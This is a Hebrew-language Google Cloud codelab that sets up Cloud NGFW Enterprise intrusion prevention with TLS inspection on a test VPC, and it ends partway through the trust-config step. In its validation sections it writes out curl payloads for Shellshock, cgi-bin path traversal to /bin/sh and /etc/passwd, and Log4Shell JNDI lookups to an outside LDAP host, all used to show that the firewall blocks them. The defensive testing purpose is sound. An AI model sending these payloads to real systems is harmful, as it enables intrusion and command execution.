Cloud NGFW Enterprise Codelab [עם בדיקת TLS]

1. מבוא

חומת אש של Cloud Next Generation (NGFW)

חומת אש של Cloud Next Generation היא שירות חומת אש מבוזר במלואו שכולל יכולות הגנה מתקדמות, מיקרו-פילוח וכיסוי חודרניים כדי להגן על עומסי העבודה שלכם ב-Google Cloud מפני התקפות פנימיות וחיצוניות.

ל-Cloud NGFW יש את היתרונות הבאים:

  • שירות חומת אש מבוזר: Cloud NGFW מספק אכיפה מבוססת-מצב ומבוזרת באופן מלא על כל עומס עבודה, כדי לאפשר ארכיטקטורה של אבטחה באמצעות מודל אבטחה של אפס אמון.
  • הגדרה ופריסה פשוטים יותר: Cloud NGFW מטמיע כללי מדיניות רשת והיררכיה היררכיים של חומת אש שאפשר לצרף לצומת של היררכיית משאבים. כללי המדיניות האלה מספקים חוויית שימוש עקבית בחומת האש בכל היררכיית המשאבים של Google Cloud.
  • בקרה מפורטת ומיקרו-פילוח: השילוב של מדיניות חומת אש ותגים ממשלתיים לניהול זהויות והרשאות גישה (IAM) מספק שליטה טובה גם לתנועה מצפון-דרום וגם ממזרח-מערב, עד למכונה וירטואלית אחת, ברשתות ובארגונים של ענן וירטואלי פרטי (VPC).

Cloud NGFW זמין ברמות הבאות:

  • היסודות של חומת האש ב-Cloud Next Generation
  • תקן חומת אש ב-Cloud Next Generation
  • חומת אש ב-Cloud Next Generation

Cloud NGFW Enterprise

שירות Cloud NGFW Enterprise מוסיף שירות למניעת חדירות (IPS), יכולת בשכבה 7, למרקם המבוזר של חומת האש של Google Cloud. יש תמיכה בבדיקת TLS כדי לאפשר בדיקה של תעבורת נתונים מוצפנת באמצעות TLS.

עכשיו אפשר לפרוס בדיקות אמינות של חומת האש בשכבה 7 של הדור הבא (NGFW) עם אמצעי בקרה מפורטים, בלי לבצע שינויים בארכיטקטורת הרשת או בהגדרות הניתוב שלכם.

כדי להפעיל ולפרוס בקרות חומת אש בשכבה 7 באמצעות IPS, צריך לבצע את המשימות הבאות:

  • יצירת קבוצה של נקודות קצה של חומת אש אזורית שמנוהלת ב-Google Cloud.
  • אפשר ליצור מדיניות לבדיקת TLS.
  • אפשר גם ליצור Trust Config.
  • משייכים את נקודות הקצה האלה לרשתות ענן וירטואלי פרטי (VPC) שבהן צריך את השירות Cloud NGFW Enterprise.
  • אפשר לבצע שינויים פשוטים במדיניות חומת האש ובכללי חומת האש, כדי לציין פרופילים של מניעת איומים בשביל נתיבי תעבורת הנתונים השונים.

כללי המדיניות של חומת האש של הרשת

מדיניות חומת האש של הרשת משמשת כמאגר כללי של חומת האש. כללים שמוגדרים במדיניות חומת אש של רשת לא נאכפים בשום מקום עד שהמדיניות משויכת לרשת VPC. לכל רשת VPC יכולה להיות מדיניות חומת אש אחת של רשת המשויכת אליה. כללי המדיניות של חומת האש ברשת תומכים בתגים שמנוהלים על ידי IAM (או רק תגים) בכללי חומת אש. הם מחליפים את תגי הרשת הנוכחיים ואפשר להשתמש בהם כדי לספק זהות לעומס העבודה.

שיתוף מדיניות של חומת אש בין רשתות בין רשתות והשילוב עם תגים שמנוהלים על ידי IAM, מפשטים מאוד את ההגדרה והניהול של חומות אש.

בעקבות ההשקה של מדיניות חומת האש ברשת, כללי מדיניות חומת האש של Google Cloud כוללים עכשיו את הרכיבים הבאים:

  1. מדיניות היררכית בנושא חומת אש
  2. כללי חומת אש של VPC
  3. מדיניות חומת האש של הרשת ( גלובלית ואזורית)

מדיניות חומת אש היררכית נתמכת בצמתים של הארגון והתיקיות בהיררכיית המשאבים, ואילו כללי חומת אש של VPC וכללי מדיניות של חומת אש ברשת חלים ברמת ה-VPC. הבדל גדול בין כללי חומת אש של VPC למדיניות חומת האש של הרשת הוא שאפשר להחיל כללי חומת אש של VPC רק על רשת VPC אחת. לעומת זאת, כללי מדיניות של חומת אש של רשת יכולים להיות מצורפים ל-VPC יחיד או לקבוצה של רשתות VPC, בין שאר היתרונות כמו עדכונים בכמות גדולה.

לבסוף, יש לנו גם את כללי חומת האש המשתמעים שמגיעים לכל רשת VPC:

  • כלל לתעבורת נתונים יוצאת (egress) שהפעולה שלו היא מותרת, היעד הוא 0.0.0.0/0
  • כלל תעבורת נתונים נכנסת (ingress) שהפעולה שלו היא דחייה, המקור הוא 0.0.0.0/0

כברירת מחדל, רצף האכיפה מוצג בתרשים הבא:

21b3bcabc469ffe.png

שימו לב שניתן להחליף את צו האכיפה בין כללי חומת האש של ה-VPC למדיניות חומת האש של הרשת הגלובלית. הלקוחות יכולים לציין את צו האכיפה בכל שלב באמצעות פקודת gcloud.

תגים

התגים החדשים שמשולבים בכללי מדיניות חומת האש ברשת הם משאבים צמדי מפתח/ערך שמוגדרים בארגון או ברמת הפרויקט בהיררכיית המשאבים של Google Cloud. תג כזה מכיל בקרות גישה של IAM, שמציינות מי יכול לעשות מה בתג. למשל, הרשאות של Idenity and Access Management (IAM), מאפשרות לציין אילו חשבונות משתמשים יכולים להקצות ערכים לתגים ואילו חשבונות משתמשים יכולים לצרף תגים למשאבים. אם כלל של חומת אש של רשת מפנה לתג, צריך להחיל אותו על משאב לצורך אכיפה.

התגים פועלים בהתאם למודל משאבי הירושה של Google Cloud, והמשמעות היא התגים והערכים שלהם מועברים הלאה בהיררכיה מההורים שלהם. כתוצאה מכך, ניתן ליצור תגים במקום אחד ולאחר מכן להשתמש בתיקיות ובפרויקטים אחרים בהיררכיית המשאבים. בדף הזה אפשר למצוא פרטים על תגים והגבלת הגישה.

חשוב להבדיל בין תגים לבין תגי רשת. האחרונות הן מחרוזות שאפשר להוסיף למכונות של Compute Engine. הם משויכים למכונה ונעלמים כשמוציאים משימוש את המכונה. כללי חומת האש של VPC עשויים לכלול תגי רשת, אבל מאחר שהם לא נחשבים למשאבי ענן, הם לא כפופים לבקרת הגישה ל-IAM.

לתשומת ליבך: במסמך הזה נעשה שימוש לסירוגין בתגים ובתגים שמנוהלים על ידי IAM.

מה תפַתחו

כדי להשתמש ב-Codelab הזה נדרשים פרויקט יחיד ויכולת ליצור רשת VPC, וגם לנהל כמה משאבי רשת ואבטחה. הוא ידגים איך Cloud NGFW Enterprise יכול לספק פונקציונליות של IPS באמצעות:

  • בדיקת זרימת אינטרנט לכיוון צפון באמצעות בדיקת TLS
  • בדיקת תהליכים בתוך ה-vpc [מזרח-מערב] באמצעות בדיקת TLS (אבטחת שכבת התעבורה)

התהליכים שייבדקו ייבחרו באמצעות פרמטרים תואמים של חומת אש ב-Cloud, כולל תגים מסוג 5 (כתובת IP של מקור, כתובת IP של היעד, פרוטוקול, יציאת מקור, יציאת יעד) ותגים.

3d0f288d3b92a295.png

מצב הסיום של בסיס הכללים של מדיניות חומת האש של הרשת יהיה דומה לטבלה הבאה:

עדיפות

כיוון

Target

מקור

יעד

פעולה

סוג

100

תעבורת נתונים נכנסת (Ingress)

Server_Tag

בדיקות תקינות

הכול

אישור

בסיסיות

200

תעבורת נתונים נכנסת (Ingress)

Client_Tag, Server_Tag

IAP

הכול

אישור

בסיסיות

800

תעבורת נתונים נכנסת (Ingress)

Server_Tag

10.0.0.0/24

10.0.0.0/24

בדיקת L7

ארגונים

850

תעבורת נתונים יוצאת (egress)

Client_Tag

הכול

10.0.0.0/24

אישור

בסיסיות

900

תעבורת נתונים יוצאת (egress)

Client_Tag

הכול

הכול

בדיקת L7

ארגונים

מה תלמדו

  • איך ליצור מדיניות חומת אש ברשת.
  • איך יוצרים תגים עם מדיניות של חומת אש ברשת ומשתמשים בהם
  • איך להגדיר את Cloud NGFW Enterprise ולהשתמש בו עם בדיקת TLS.

מה צריך להכין

  • פרויקט ב-Google Cloud.
  • ידע בפריסת מכונות ובהגדרת רכיבי רשת.
  • ידע בהגדרת חומת אש ב-VPC.

2. לפני שמתחילים

יצירה/עדכון של משתנים

ב-Codelab הזה נעשה שימוש ב-$variables כדי לעזור בהטמעת ההגדרות של gcloud ב-Cloud Shell.

ב-Cloud Shell, מריצים את הפקודות הבאות ומחליפים את המידע שבסוגריים המרובעים לפי הצורך:

gcloud config set project [project-id]
export project_id=$(gcloud config list --format="value(core.project)")
export project_number=`gcloud projects describe $project_id --format="value(projectNumber)"`
export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 )
export region=[region]
export zone=[zone]
export prefix=ngfw-enterprise
export billing_project=[billing-project-id]

3. הפעלת ממשקי API

מפעילים את ממשקי ה-API אם עדיין לא עשיתם זאת:

gcloud services enable networksecurity.googleapis.com
gcloud services enable certificatemanager.googleapis.com
gcloud services enable networkservices.googleapis.com
gcloud services enable privateca.googleapis.com

4. יצירת נקודת קצה (endpoint) של Cloud NGFW Enterprise

תהליך היצירה של נקודת הקצה ב-Cloud NGFW Enterprise נמשך כ-20 דקות, ולכן קודם צריך ליצור אותה ואפשר לבצע את ההגדרה הבסיסית במקביל בזמן היצירה של נקודת הקצה.

יוצרים את פרופיל האבטחה ואת הקבוצה של פרופילי האבטחה:

gcloud network-security security-profiles threat-prevention \
  create $prefix-sp-threat \
  --organization $org_id \
  --location=global

gcloud network-security security-profile-groups create \
  $prefix-spg \
  --organization $org_id \
  --location=global \
  --threat-prevention-profile organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat

הפלט אמור להיראות כך:

Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat] to be created...done.

Waiting for operation [organizations/$org_id/locations/global/operations/operation-1687458013374-5febbef75e993-ea522924-c963d150] to complete...done.

בודקים שהמשאבים נוצרו בהצלחה:

gcloud network-security security-profiles threat-prevention \
  list --location=global --organization $org_id

gcloud network-security security-profile-groups list \
  --organization $org_id --location=global

הפלט הצפוי (שימו לב שפורמט הפלט עשוי להשתנות בהתאם ללקוח שבשימוש:

NAME: ngfw-enterprise-sp-threat

NAME: ngfw-enterprise-spg

יוצרים את נקודת הקצה ב-Cloud NGFW Enterprise:

gcloud network-security firewall-endpoints create $prefix-$zone \
  --zone=$zone \
  --organization $org_id \
  --billing-project=$billing

מריצים את הפקודה הבאה כדי לאשר שנקודת הקצה נוצרת (CREATING).

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

הפלט הצפוי (שימו לב שפורמט הפלט עשוי להשתנות בהתאם ללקוח שבשימוש):

ID: $prefix-$zone
LOCATION: $zone
STATE: CREATING

כדי לקבל פרטים נוספים, מריצים את הפקודה הבאה:

gcloud network-security firewall-endpoints describe \
  $prefix-$zone --organization $org_id --zone $zone

הפלט אמור להיראות כך:

createTime: '2023-11-16T04:27:17.677731831Z'
name: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone
state: CREATING
updateTime: '2023-11-16T04:27:17.677731831Z'

תהליך היצירה נמשך כ-20 דקות. עוברים לקטע 'הגדרת בסיס' כדי ליצור את המשאבים הדרושים במקביל.

5. הגדרת הבסיס

רשת VPC ורשת משנה

רשת VPC ורשת משנה

יצירת רשת ה-VPC ורשת המשנה:

gcloud compute networks create $prefix-vpc --subnet-mode=custom 

gcloud compute networks subnets create $prefix-$region-subnet \
   --range=10.0.0.0/24 --network=$prefix-vpc --region=$region

Cloud NAT

יוצרים את השער Cloud Router ואת השער Cloud NAT:

gcloud compute addresses create $prefix-$region-cloudnatip --region=$region

export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)")

gcloud compute routers create $prefix-cr \
  --region=$region --network=$prefix-vpc

gcloud compute routers nats create $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region \
   --nat-all-subnet-ip-ranges \
   --nat-external-ip-pool=$prefix-$region-cloudnatip

קולאז' מתמונה

יוצרים את מופעי הלקוח ושרת האינטרנט:

gcloud compute instances create $prefix-$zone-client \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
        apt-get update
        apt-get install apache2-utils mtr iperf3 tcpdump -y'

gcloud compute instances create $prefix-$zone-www \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
apt-get update
apt-get install apache2 tcpdump iperf3 -y
a2ensite default-ssl
a2enmod ssl
# Read VM network configuration:
md_vm="http://169.254.169.254/computeMetadata/v1/instance/"
vm_hostname="$(curl $md_vm/name -H "Metadata-Flavor:Google" )"
filter="{print \$NF}"
vm_network="$(curl $md_vm/network-interfaces/0/network \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
vm_zone="$(curl $md_vm/zone \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
# Apache configuration:
echo "Page on $vm_hostname in network $vm_network zone $vm_zone" | \
tee /var/www/html/index.html
systemctl restart apache2'

תגים ברמת הפרויקט

מקצים את הרשאת tagAdmin למשתמש במקרה:

export user_id=$(gcloud auth list --format="value(account)")

gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagAdmin

יוצרים את המפתח והערכים של התג ברמת הפרויקט:

gcloud resource-manager tags keys create $prefix-vpc-tags \
   --parent projects/$project_id \
   --purpose GCE_FIREWALL \
   --purpose-data network=$project_id/$prefix-vpc

gcloud resource-manager tags values create $prefix-vpc-client \
   --parent=$project_id/$prefix-vpc-tags

gcloud resource-manager tags values create $prefix-vpc-server \
   --parent=$project_id/$prefix-vpc-tags

משייכים את התגים למכונות:

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-server \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-www

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-client \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-client

המדיניות הגלובלית של חומת האש של הרשת

יוצרים מדיניות גלובלית לחומת אש של רשת:

gcloud compute network-firewall-policies create \
   $prefix-fwpolicy --description \
   "Cloud NGFW Enterprise with TLS" --global

יוצרים את כללי החובה של חומת האש של Cloud כדי לאפשר תעבורת נתונים מהטווחים של בדיקת תקינות ושרת proxy לאימות זהויות (IAP):

gcloud compute network-firewall-policies rules create 100 \
        --description="allow http traffic from health-checks ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server \
--src-ip-ranges=35.191.0.0/16,130.211.0.0/22,209.85.152.0/22,209.85.204.0/22

gcloud compute network-firewall-policies rules create 200 \
        --description="allow ssh traffic from identity-aware-proxy ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:22 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server,$project_id/$prefix-vpc-tags/$prefix-vpc-client \
--src-ip-ranges=35.235.240.0/20

יוצרים את כללי חומת האש של Cloud הנדרשים כדי לאפשר תעבורת נתונים נכנסת (ingress) ממזרח-מערב או מתת-רשת (In-subnet) מהטווחים הספציפיים (הכללים האלה יעודכנו כדי לאפשר את השימוש ב-Cloud NGFW Enterprise עם בדיקת TLS):

gcloud compute network-firewall-policies rules create 800 \
        --description "allow ingress internal traffic from tagged clients" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=INGRESS \
        --enable-logging \
        --layer4-configs tcp:443 \
        --src-ip-ranges=10.0.0.0/24 \
        --dest-ip-ranges=10.0.0.0/24 \
          --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server

משייכים את מדיניות חומת האש בענן לרשת ה-VPC:

gcloud compute network-firewall-policies associations create \
        --firewall-policy $prefix-fwpolicy \
        --network $prefix-vpc \
        --name $prefix-fwpolicy-association \
        --global-firewall-policy

6. שיוך של נקודת קצה לחומת אש ב-Cloud

הגדירו את משתני הסביבה אם עדיין לא עשיתם זאת ו/או עדיף להשתמש בסקריפט.

מוודאים שהיצירה של נקודת הקצה ב-Cloud Firewall הושלמה בהצלחה. ממשיכים רק אחרי שהמצב מוצג כפעיל (במהלך היצירה, המצב הצפוי הוא יצירה):

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

הפלט הצפוי (שימו לב שפורמט הפלט עשוי להשתנות בהתאם ללקוח שבשימוש):

ID: $prefix-$zone
LOCATION: $zone
STATE: ACTIVE

כדי לקבל פרטים נוספים, מריצים את הפקודה הבאה:

gcloud network-security firewall-endpoints describe \
  $prefix-$zone --organization $org_id --zone $zone

הפלט אמור להיראות כך:

createTime: '2023-11-16T04:27:17.677731831Z'
name: organizations/$org_id/locations/$zonefirewallEndpoints/$prefix-$zone
state: ACTIVE
updateTime: '2023-11-16T04:49:53.776349352Z'

משייכים את נקודת הקצה של Cloud Firewall לרשת ה-VPC:

gcloud network-security firewall-endpoint-associations create \
  $prefix-association --zone $zone \
  --network=$prefix-vpc \
  --endpoint $prefix-$zone \
  --organization $org_id

תהליך השיוך לוקח כ-10 דקות. ממשיכים לקטע TLS רק אחרי שהמצב מוצג כפעיל (במהלך היצירה, המצב הצפוי הוא יצירה):

gcloud network-security firewall-endpoint-associations list

הפלט הצפוי בסיום:

ID: ngfw-enterprise-association
LOCATION: $zone
NETWORK: $prefix-vpc
ENDPOINT: $prefix-$zone
STATE: ACTIVE

כדי לקבל פרטים נוספים, מריצים את הפקודה הבאה:

gcloud network-security firewall-endpoint-associations \
  describe $prefix-association --zone $zone

הפלט אמור להיראות כך:

createTime: '2023-11-16T04:57:06.108377222Z'
firewallEndpoint: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone
name: projects/$project_id/locations/$zone/firewallEndpointAssociations/$prefix-association
network: projects/$project_id/global/networks/$prefix-vpc
state: ACTIVE
updateTime: '2023-11-16T04:57:06.108377222Z'

7. הגדרת משאבי TLS

יצירת מאגר של רשות אישורים. המשאב הזה ישמש כדי לאחסן את אישור ה-CA ברמה הבסיסית (root) שייצרו בשביל NGFW Enterprise.

gcloud privateca pools create $prefix-CA-Pool --project=$project_id --location=$region --tier=enterprise

יוצרים את רשות האישורים הבסיסית. זהו אישור ה-CA שישמש לחתימה על אישורים נוספים עבור בקשות דרך NGFW Enterprise.

gcloud privateca roots create $prefix-CA-Root --project=$project_id --location=$region --pool=$prefix-CA-Pool --subject="CN=NGFW Enterprise Test CA 2, O=Google NGFW Enterprise Test"

אם תוצג לכם ההודעה הבאה, עליכם לענות y:

The CaPool [ngfw-enterprise-CA-Pool] has no enabled CAs and cannot issue any certificates until at least one CA is enabled. Would you like to also enable this CA?

Do you want to continue (y/N)?

יוצרים חשבון שירות. חשבון השירות הזה ישמש לבקשת אישורים ל-NGFW Enterprise:

gcloud beta services identity create --service=networksecurity.googleapis.com --project=$project_id

הגדרת הרשאות IAM לחשבון השירות:

gcloud privateca pools add-iam-policy-binding $prefix-CA-Pool --project=$project_id --location=$region --member=serviceAccount:service-$project_number@gcp-sa-networksecurity.iam.gserviceaccount.com --role=roles/privateca.certificateRequester

יוצרים את קובץ YAML של מדיניות TLS. הקובץ הזה יכיל מידע על המשאבים הספציפיים:

cat > tls_policy.yaml << EOF
description: Test tls inspection policy.
name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy
caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool
excludePublicCaSet: false
EOF

ייבוא המדיניות בנושא בדיקת TLS:

gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml

מעדכנים את השיוך של נקודת הקצה כדי להפעיל TLS:

gcloud network-security firewall-endpoint-associations update $prefix-association --zone=$zone --project=$project_id --tls-inspection-policy=$prefix-tls-policy --tls-inspection-policy-project=$project_id --tls-inspection-policy-region=$region

משיגים את אישור ה-CA ומוסיפים אותו למאגר ה-CA של הלקוח:

gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" >> $prefix-CA-Root.crt

מעבירים את אישור ה-CA ללקוח:

gcloud compute scp --tunnel-through-iap  ~/$prefix-CA-Root.crt  $prefix-$zone-client:~/  --zone=$zone

SSH למכונה הווירטואלית, מעבירים את אישור ה-CA אל /usr/local/share/ca-certificates ומעדכנים את מאגר ה-CA:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

sudo mv ngfw-enterprise-CA-Root.crt /usr/local/share/ca-certificates/

sudo update-ca-certificates

יוצאים בחזרה ל-cloudshell.

תהליך חתימה על אישור שרת:

ב-cloudshell, מתקינים את ספריית הקריפטוגרפיה Pyca באמצעות הפקודה pip:

pip install --user "cryptography>=2.2.0"

כדי לאפשר ל-Google Cloud SDK להשתמש בספריית הקריפטוגרפיה של Pyca, צריך להפעיל חבילות אתרים.

export CLOUDSDK_PYTHON_SITEPACKAGES=1

יוצרים את אישור השרת:

gcloud privateca certificates create --issuer-location=$region \
  --issuer-pool $prefix-CA-Pool \
  --subject "CN=Cloud NGFW Enterprise,O=Google" \
  --ip-san=10.0.0.3 \
  --generate-key \
  --key-output-file=./key.pem \
  --cert-output-file=./cert.pem

הפעולה הזו תיצור קובץ cert.pem ו-key.pem ב-cloudshell. לאחר מכן מעבירים את האישור והמפתח לשרת.

gcloud compute scp --tunnel-through-iap  ~/cert.pem  $prefix-$zone-www:~/  --zone=$zone

gcloud compute scp --tunnel-through-iap  ~/key.pem  $prefix-$zone-www:~/  --zone=$zone

SSH לשרת כדי לעדכן את פרטי האישור של Apache:

gcloud compute ssh $prefix-$zone-www --tunnel-through-iap --zone $zone

העברת האישור והמפתח לתיקייה ספציפית:

sudo mv cert.pem /etc/ssl/certs/
sudo mv key.pem /etc/ssl/private/

עדכון הגדרת ה-ssl כדי להשתמש באישור חתום:

sudo sed -i 's/ssl-cert-snakeoil.pem/cert.pem/g' /etc/apache2/sites-available/default-ssl.conf 

sudo sed -i 's/ssl-cert-snakeoil.key/key.pem/g' /etc/apache2/sites-available/default-ssl.conf

מפעילים מחדש את Apache:

sudo systemctl restart apache2

אימות סטטוס Apache:

sudo systemctl status apache2

היא אמורה להיות פעילה (פעילה).

יוצאים מה-VM וממשיכים ב-cloudshell.

8. אימות הקישוריות לצפון ולמזרח התיכון

מריצים את הפקודות הבאות ב-Cloud Shell ורושמים את כתובות ה-IP של היעד שכדאי להשתמש בהן:

gcloud compute instances list --filter="name=($prefix-$zone-www)"

פותחים כרטיסייה חדשה ומפעילים חיבור SSH ל-VM של הלקוח באמצעות IAP (צריך להגדיר את המשתנים בכרטיסייה החדשה):

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

מריצים את הפקודות הבאות ורושמים את כתובות ה-IP של היעד שצריך להשתמש בהן. יוצרים את המשתנים שמחליפים את הערכים שבתוך הסוגריים המרובעים בכתובות ה-IP שצוינו מהשלב הקודם, ומוודאים שניתן להגיע אליהם:

export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]

יש לסמן את כתובת ה-IP הפרטית ולוודא שאפשר להגיע אליה:

curl https://$target_privateip --max-time 2

התוצאות הצפויות עבור בקשת ה-curl:

Page on ngfw-enterprise-$zone-www in network ngfw-enterprise-vpc zone $zone

שליחת מתקפות לדוגמה לכתובת ה-IP. שרת האינטרנט צריך להגיב לכל הבקשות, ולאשר שלא מתבצעת בדיקה/מניעה של L7:

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2 

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -w "%{http_code}\\n" -s -o /dev/null -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2 
curl -w "%{http_code}\\n" -s -o /dev/null  -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2

תוצאות צפויות לדוגמה (IP פרטי):

400
404
400
200
200

באופן דומה, שליחת בקשות ליעד אינטרנט:

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2

תוצאות צפויות לדוגמה (יעד אינטרנט):

400
404
400
403
403

יוצאים מטרמינל ה-VM וחוזרים ל-Cloud Shell.

9. יצירה ועדכון של כללי חומת אש לבדיקת TLS

בעבר הגדרנו כלל של חומת אש שמאפשר תעבורת נתונים נכנסת (ingress) לשרת שלנו מרשת המשנה הפנימית. עכשיו נעדכן את הכללים הקיימים של תעבורת נתונים נכנסת (ingress) ונגדיר את הפעולה לאפשרות Apply_security_profile_group. כך אפשר לבדוק E/W L7 באמצעות TLS:

gcloud compute network-firewall-policies rules update 800 \
        --action=apply_security_profile_group \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
--tls-inspect

יוצרים כלל חדש כדי לבדוק בדיקה L7 לכיוון צפון באמצעות TLS.

gcloud compute network-firewall-policies rules create 900 \
        --description "Inspect egress traffic over TCP 443" \
        --action=apply_security_profile_group \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=EGRESS \
        --enable-logging \
        --layer4-configs tcp:443 \
        --dest-ip-ranges=0.0.0.0/0 \
      --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client \
--security-profile-group=/networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
      --tls-inspect

יוצרים כלל חדש כדי לאפשר תעבורת נתונים יוצאת (egresS) ל-E/W למנוע בדיקה כפולה.

gcloud compute network-firewall-policies rules create 850 \
        --description "Prevent double inspection" \
        --action=ALLOW \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=EGRESS \
        --layer4-configs tcp:443 \
        --dest-ip-ranges=10.0.0.0/24 \
      --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client

10. אימות בדיקת TLS לצפון

חוזרים לכרטיסיית הלקוח VM או מתחברים שוב:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

שולחים את המתקפות לדוגמה ליעד באינטרנט:

curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2

curl https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2

לא התקבלו תגובות בהתאם לפלט הצפוי הבא, שמאשר שההתקפות לדוגמה חסומות עכשיו:

curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104

מגדירים את המשתנה לכתובת ה-IP של השרת הקודמת:

export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]

שליחת דוגמאות של בקשות TLS לשרת:

curl https://$target_privateip --max-time 2

הפלט אמור להיראות כך:

curl: (60) SSL certificate problem: self signed certificate
More details here: https://curl.se/docs/sslcerts.html

curl failed to verify the legitimacy of the server and therefore could not
establish a secure connection to it. To learn more about this situation and
how to fix it, please visit the web page mentioned above.

למה הבקשה הזו נכשלה? הסיבה לכך היא שחומת האש מקבלת מהשרת אישור לא מהימן. במקרה כזה, נעביר אישור עם חתימה עצמית חזרה ללקוח. כדי לאפשר אמון, אנחנו צריכים להוסיף את אישור ה-CA כחלק מהגדרות אמון.

חוזרים ל-Cloud Shell.

11. קביעת תצורה של אמון

מקבלים את אישור רשות האישורים ברמה הבסיסית (root) ומגדירים אותו כמשתנה עם עיצוב תקין.

export NGFW_ROOT_CA=$(gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" | sed 's/^/      /')

מגדירים את קובץ Trust Config YAML. הקובץ הזה מכיל פרטים לגבי אמון, כמו אישורי CA:

cat > trust_config.yaml << EOF
name: "$prefix-trust-config"
trustStores:
- trustAnchors:
  - pemCertificate: |
${NGFW_ROOT_CA}
EOF

